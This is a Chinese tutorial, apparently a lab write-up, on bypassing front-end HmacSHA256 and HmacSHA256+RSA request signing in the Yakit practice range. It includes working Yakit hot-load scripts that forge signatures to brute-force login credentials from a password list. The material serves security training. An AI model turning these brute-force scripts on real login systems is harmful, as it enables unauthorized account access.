跳转至

Yakit应对前端加密

Yakit靶场

首次启动需要先安装靶场,随后启动后,回显一个监听地址

HmacSHA256加密

访问后可以看到存在加密,其中signature代表签名

提交后,可以看到验证逻辑为先验证签名,再验证凭据是否正确

问题就在于签名和key在哪里能找到,签名计算的算法是什么?

翻看前端js,发现加密相关代码

JavaScript
function generateKey() {
        return  CryptoJS.enc.Utf8.parse("1234123412341234")  // 十六位十六进制数作为密钥
    }

    const key = generateKey()

    // 解密方法
    function Decrypt(word) {
        return  ""; 
    }

    // 加密方法
    function Encrypt(word) {
        console.info(word);
        return  CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString(); 
    }

    function getData() {
        return {
            "username": document.getElementById("username").value,
            "password": document.getElementById("password").value,
        }
    }

    function outputObj(jsonData) {
        const word = `username=${jsonData.username}&password=${jsonData.password}`;;
        return {
            "signature": Encrypt(word),
            "key": key.toString(),
            username: jsonData.username, password: jsonData.password,
        }
    }

可以看到key为CryptoJS.enc.Utf8.parse("1234123412341234"),该值为定值,重放不需要修改

signature为CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString(),其中key已经有了,我们需要看看word是什么

在const word = username=${jsonData.username}&password=${jsonData.password};;处下断点,调试看到

Text Only
word=“username=root&password=”

接下来通过yakit热加载功能实现暴力破解

Python
encryptData = func(p) {
//sha256key值
    key = codec.DecodeHex("31323334313233343132333431323334")
//账号密码
    username = ["admin"]
    password = x"{{x(pass_top25)}}"
//定义列表变量resullist
    resultlist = []
//for循环嵌套username、password排列组合
    for uname in username {
        for passwd in password {
//定义message:为加密前的参数格式
            message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(ase256编码)=sign结果值
            result = codec.EncodeToHex(codec.HmacSha256(key, message))
//m为整个请求体
            m = {
                    "signature" : result,
                    "key" : "31323334313233343132333431323334" ,
                    "username" : uname,
                    "password" : passwd
            }
            i = json.dumps(m)
            resultlist.Append(i)
        }
    }
    return(resultlist)
}

可以看到能够爆破用户名密码

HmacSHA256+RSA

Text Only
{
  "signature": "82a71807209426418c7a407e28f9336896384d22218d1fbf01841278e5f7cb7d4771cd3c4c81cf358e95102661d3babcfbcb94e1b5c511aa193e0f105a9e2724d6e2b2a5628c0bd68a811c1d9833c1c9d1c6adc88a10e84001ae2de739d663c22b2d1c982306621efea17ac92c6eb193188116e34cd6a29573d853a17c2e077418f23c94f7407488a17e2ca3a5ca7dbed4ce2ea83550275bd63cb34893c9e17e316def155b260b300d68ee3c21373dfc0504ed1bee7acafb3573f2c68d775275beaceedc78efe612c906d11710a841f26a392580b10f6ae8353bad7ae53940a0e8c2d23483ae9358e745f306e017519eb32beb77952c13683e314454ca99fab7",
  "key": "31323334313233343132333431323334",
  "username": "root",
  "password": "test"
}

找到加密逻辑的js文件

JavaScript
setTimeout(function(){
    fetch('/crypto/js/rsa/public/key').then(async function(rsp) {
        pubkey = await rsp.text()
        document.getElementById('submit').disabled = false;
        document.getElementById('submit').innerText = '提交表单数据';
        console.info(pubkey)
    })
},300)


    function generateKey() {
        return  CryptoJS.enc.Utf8.parse("1234123412341234")  // 十六位十六进制数作为密钥
    }

    const key = generateKey()

    // 解密方法
    function Decrypt(word) {
        return  ""; 
    }

    // 加密方法
    function Encrypt(word) {
        console.info(word);
        return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
    }

    function getData() {
        return {
            "username": document.getElementById("username").value,
            "password": document.getElementById("password").value,
        }
    }

    function outputObj(jsonData) {
        const word = `username=${jsonData.username}&password=${jsonData.password}`;;
        return {
            "signature": Encrypt(word),
            "key": key.toString(),
            username: jsonData.username, password: jsonData.password,
        }
    }

可以看到singature加密方式为先HmacSHA256,然后再进行RSA加密,我们现在需要获取到pubkey(RSA公钥)

JavaScript
setTimeout(function(){
    fetch('/crypto/js/rsa/public/key').then(async function(rsp) {
        pubkey = await rsp.text()
        document.getElementById('submit').disabled = false;
        document.getElementById('submit').innerText = '提交表单数据';
        console.info(pubkey)
    })
},300)

我们看到这个函数的作用就是从/crypto/js/rsa/public/key接口获取公钥,在浏览器访问试试

获取公钥为:

Text Only
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzWgt8Z5n1qgao2XqBtKE
kjO28bKTFREQ5S38E4rqgGrBRBTB4J3FD+d4PWpUxlLzyifaP6koI//wWYtmISF9
0PB/S/CwsIj8W8WCeqsACDrYhfJGv6rTK1O2oE9No9dykCNDe+/1d6Pf2UPF1Tnl
uU7OwErweVeFdGRvbd2yox/4pDVP5GyAh1Bgq6W3J0752zyXH/29kyC/U31iC742
CSL0fA2bDtmj5fhoicoWR5wj9t1fdAJst7PqG8Oe71tO4In8QUla52oKRRq+mLwL
Rmgp99g/dVhmep4Oz5VtMR9+ZXVVOKfXhceOWWan8Lu0fGsNWcGK3thxeh+EgzC5
rQIDAQAB
-----END PUBLIC KEY-----

接着编写热加载代码(在上一个例子的基础上加上RSA加密即可)

Python
HmacSHA256RSAEncrypt = func(p) {
//sha256key值
    key = codec.DecodeHex("31323334313233343132333431323334")~
// RSA公钥
    rsa_pub_key = `-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzWgt8Z5n1qgao2XqBtKE
kjO28bKTFREQ5S38E4rqgGrBRBTB4J3FD+d4PWpUxlLzyifaP6koI//wWYtmISF9
0PB/S/CwsIj8W8WCeqsACDrYhfJGv6rTK1O2oE9No9dykCNDe+/1d6Pf2UPF1Tnl
uU7OwErweVeFdGRvbd2yox/4pDVP5GyAh1Bgq6W3J0752zyXH/29kyC/U31iC742
CSL0fA2bDtmj5fhoicoWR5wj9t1fdAJst7PqG8Oe71tO4In8QUla52oKRRq+mLwL
Rmgp99g/dVhmep4Oz5VtMR9+ZXVVOKfXhceOWWan8Lu0fGsNWcGK3thxeh+EgzC5
rQIDAQAB
-----END PUBLIC KEY-----`
//账号密码
    username = ["admin"]
    password = x"{{x(pass_top25)}}"
//定义列表变量resullist
    resultlist = []
//for循环嵌套username、password排列组合
    for uname in username {
        for passwd in password {
//定义message:为加密前的参数格式
            message = f`username=${uname}&password=${passwd}`
//结果=十六进制编码(ase256编码)=sign结果值
            hmac_sha256_value = codec.EncodeToHex(codec.HmacSha256(key, message))
            result = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(rsa_pub_key, hmac_sha256_value)~)
//m为整个请求体
            m = {
                    "signature" : result,
                    "key" : "31323334313233343132333431323334" ,
                    "username" : uname,
                    "password" : passwd
            }
            i = json.dumps(m)
            resultlist.Append(i)
        }
    }
    return(resultlist)
}

可以看到签名验证成功,可以爆破用户名和密码